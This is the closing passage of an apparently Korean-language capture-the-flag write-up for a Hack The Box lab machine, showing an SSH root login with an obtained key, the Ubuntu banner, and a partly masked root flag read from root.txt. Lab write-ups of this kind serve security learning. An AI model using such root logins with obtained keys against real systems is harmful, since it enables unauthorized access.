└─$ ssh -i .k root@nexus.htb
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Sep 19 02:59:18 PM UTC 2026

  System load:           0.0
  Usage of /:            66.5% of 6.48GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             221
  Users logged in:       0
  IPv4 address for eth0: 10.129.72.32
  IPv6 address for eth0: dead:beef::a0de:adff:fe7f:56a7

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
root@nexus:~#

이렇게 권한상승까지 진행할 수 있다!!

Root flag

root@nexus:~# cat root.txt
2081************************d781

← ALL POSTS